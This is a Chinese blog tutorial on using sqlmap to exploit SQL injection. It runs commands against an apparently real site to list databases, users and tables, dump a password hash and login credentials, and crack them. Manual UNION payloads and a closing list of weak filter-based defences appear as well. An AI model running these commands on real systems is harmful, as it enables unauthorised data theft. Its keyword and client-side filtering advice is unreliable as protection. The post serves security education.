[滲透&攻防] 二.SQL MAP工具從零解讀資料庫及基礎用法

Eastmount發表於2017-07-18

這是最近學習滲透和網站攻防的文章,希望能深入地學習這部分知識,自己作為一個初學者,前一篇文章從資料庫原理解讀了防止SQL隱碼攻擊,這篇文章通過SQLMAP工具簡單介紹SQL隱碼攻擊及用法。自己仍在慢慢探索網路攻防和滲透,希望文章對你有所幫助,尤其是學習網路安全的初學者,如果文章中存在錯誤或不足之處,還請海涵~

    一.SQLMAP介紹
        1.基礎介紹
        2.安裝過程
        3.漏洞檢測
    二.SQLMAP基礎用法
        1.獲取所有資料庫
        2.獲取當前資料庫
        3.獲取資料庫所有使用者
        4.獲取資料庫當前使用者
        5.獲取資料庫所有使用者和密碼
        6.獲取資料庫所有表
        7.獲取資料庫登入表所有欄位
        8.獲取資料庫登入表使用者名稱和密碼
    三.總結
   


前文欣賞:
[滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL隱碼攻擊

強推文章:
滲透測試工具sqlmap基礎教程 - zgyulongfei


一. SQLMAP介紹

1.基礎介紹
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.


SQLMAP是一款非常強大的開源滲透測試工具,用於自動檢測和利用SQL隱碼攻擊漏洞控制資料庫伺服器的過程。它配備了一個強大的檢測引擎,由Python語言開發完成,通過外部連線訪問資料庫底層檔案系統和作業系統,並執行命令實現滲透。

2.安裝過程
由於它是通過Python語言開發完成,需要安裝Python環境,下面開始安裝SQLMAP。
方法一:呼叫Pyhon命令pip install sqlmap安裝


方法二:從Github中獲取SQLMAP進行安裝
下載地址:https://github.com/sqlmapproject/sqlmap 


3.漏洞檢測
cd去到Python環境sqlmap資料夾下,執行命令:

python sqlmap.py -u "http://..../tztgxx.aspx?code=115"
執行結果如下圖所示,-u表示網址url。


輸出GET的四種注入型別,分別為:boolean-based blind、stacked queries、time-based blind、UNION query。這裡你可能會發現和我們的第一篇文章手動講解SQL隱碼攻擊類似,包括:AND 1327=1327、UNION ALL等。


輸出結果:
(1) 作業系統:Windows 2000
(2) Web應用技術:ASP.NET,ASP.NET 2.0,  Microsoft IIS 5.0
(3) 資料庫:Microsoft SQL Server 2000

下面通過一個例項進行講解SQLMAP的基礎用法。



二. SQLMAP基礎用法

SQLMAP的基礎用法和前面基礎文章類似,都是通過漏洞和SQL語句獲取相關資訊,具體用法如下:

1.獲取所有資料庫
引數:--dbs
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --dbs
執行結果如下圖所示,獲取9個資料庫,其中--dbs參數列示databases。



2.獲取當前資料庫

引數:--current-db
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db
執行結果如下圖所示,獲取9個資料庫。其中--current-db參數列示當前資料庫,相當於前文MSSQL的db_name()獲取資料庫欄位。 



輸出結果:akykd_new

對應前文:
    http://xxxxx/show.asp?code=-1' union all 
    select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 --  
輸出結果如下所示:
    附件3:ahykd_new
其中資料庫的名稱就是ahykd_new,接下來相同的道理獲取資料庫所有表及列。


3.獲取資料庫所有使用者
引數:--users
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --users
執行結果如下圖所示,獲取2個使用者庫。


輸出結果:兩個使用者
    (1)BUILTIN\\Adminstrators
    (2)sa



4.獲取資料庫當前使用者
引數:--current-user
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user
執行結果如下圖所示,獲取當前資料庫使用者sa。



5.獲取資料庫所有使用者和密碼
引數:--passwords
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords
執行結果如下圖所示,獲取資料庫使用者和密碼。


輸出結果:
database management system users password hashes:
[*] BUILTIN\\Administrators [1]:
    password hash: NULL
[*] sa [1]:
    password hash: 0x01006e27653a36bbc7907ec45a0060e0c5065ea5172f249faa73ba704d1440b4ec497e552b6c1c27a6a34b7f575b


6.獲取資料庫所有表
引數:-D ahykd_new --tables
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables
執行結果如下圖所示,獲取資料庫ahykd_new的所有表,其中-D表示資料庫,--tables表示所有表。


通過人為猜解,知道登陸表位usr。
對應前文:
    http://xxxxx/show.asp?code=-1' union all 
    select 
1,null,3,null,null,6,7,8,
    (select top 1 name from sysobjects where type='U'),10 --
輸出結果如下所示: 

    附件1:7
    附件2:8
    附件3:kc_jxjd
其中top 1 name用於輸出1個欄位
,sysobjects中u為使用者表。


7.獲取資料庫登入表所有欄位
引數:-D ahykd_new -T usr --columns
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns
執行結果如下圖所示,獲取資料庫ahykd_new的登入表usr所有欄位,其中-D表示資料庫,-T表示表,--columns表示usr表所有列。





是不是感覺到了SQLMAP的強大,其中使用者名稱usr_name、密碼passwd。
對應前文:
    http://xxxxx/show.asp?code=-1' union all 
    select 
1,null,3,null,null,6,7,8,
    (select top 1 name from syscolmns where id=object_id('usr')),10 --

輸出結果如下所示: 
    附件1:7
    附件2:8
    附件3:answer
其中top 1 name用於輸出1個欄位,表usr的一個列表。



8.獲取資料庫登入表使用者名稱和密碼
引數:-D ahykd_new -T usr -C "usr_name,password" --dump  
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump 
獲取資料庫ahykd_new的登入表usr所有欄位,其中-D表示資料庫,-T表示表,-C表示輸出欄位(usr_name、passwd),--dump輸出所有值。


如果欄位內容太多,可以設定輸出個數,如10個使用者名稱和密碼。
引數:-D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump 
輸出結果為空,報警告“the SQL query provided does not return any output”。


正常的輸出結果例如下圖所示,再通過md5解密即可。



三. 總結

真正的困難在於如何找到一個存在漏洞的網站,如何去防護。現在很多網站都應做好相關防禦措施,手工SQL隱碼攻擊是沒有反應的,但是找到漏洞後,再利用SQLMAP就能夠找到相應的使用者名稱和密碼。
參考前文,個人理解的防禦措施:

    1.在URL設定不允許非法字元,如單引號、等號、註釋--、減號,提示非法引數;
    2.在URL設定不允許SQL常見的關鍵詞,如and、select、or、insert等;
    3.傳遞的id=115引數必須為數字才能正常跳轉,否則跳轉錯誤;
    4.伺服器啟用SQL隱碼攻擊攔截功能,提示當前網頁的 URL / POST / COOKIES中包含了特定的 SQL字元而被防火牆攔截,因為可能通過POST、Cookies進行攻擊,各方面都需要做到防禦。
    5.可以使用JS在客戶端進行不安全字元遮蔽,也可以在jsp中呼叫該函式檢查是否包函非法字元,或使用正規表示式過濾傳入的引數,防止SQL從URL注入。


希望文章對你有所幫助,尤其是網路安全的程式設計師,因為系列文章是和前文息息相關的,所以看著有些凌亂。如果文章存在錯誤或不足之處,還請海涵。感謝娜師傅的一路陪伴,學中文的扔掉了手中的尤克里裡,教我寫程式碼也是很瘋狂的啊,哈哈!不忘初心,繼續前行。加油,秀璋。綠妖,晚安!
(By:Eastmount 2017-07-17 晚上12點  http://blog.csdn.net/eastmount/ )


相關文章